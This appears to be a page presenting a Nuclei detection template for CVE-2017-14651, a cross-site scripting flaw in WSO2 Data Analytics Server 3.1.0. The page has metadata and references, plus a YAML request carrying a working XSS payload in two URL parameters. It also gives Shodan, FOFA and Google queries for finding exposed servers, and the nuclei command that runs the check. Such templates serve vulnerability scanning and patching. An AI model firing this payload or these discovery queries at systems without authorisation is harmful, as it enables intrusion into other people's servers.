WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting

ID: CVE-2017-14651

Severity: medium

Author: mass0ma

Tags: cve,cve2017,wso2,xss

Description

WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.

YAML Source

id: CVE-2017-14651

info:
  name: WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting
  author: mass0ma
  severity: medium
  description: WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of WSO2 Data Analytics Server or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/cybersecurityworks/Disclosed/issues/15
    - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265
    - https://cybersecurityworks.com/zerodays/cve-2017-14651-wso2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14651
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2017-14651
    cwe-id: CWE-79
    epss-score: 0.00144
    epss-percentile: 0.50196
    cpe: cpe:2.3:a:wso2:api_manager:2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wso2
    product: api_manager
    shodan-query: http.favicon.hash:1398055326
    fofa-query: icon_hash=1398055326
    google-query: inurl:"carbon/admin/login"
  tags: cve,cve2017,wso2,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "Failed to add new collection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a00473045022100e581cb1a6467146f6d7b1cc988b7da58173f6be2e5aa2073d3f0d630c343033d02206a5ee9867c61715db852f287bb412c0fd0d51b48059e94a94321ab4d394bf352:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-14651.yaml"

View on Github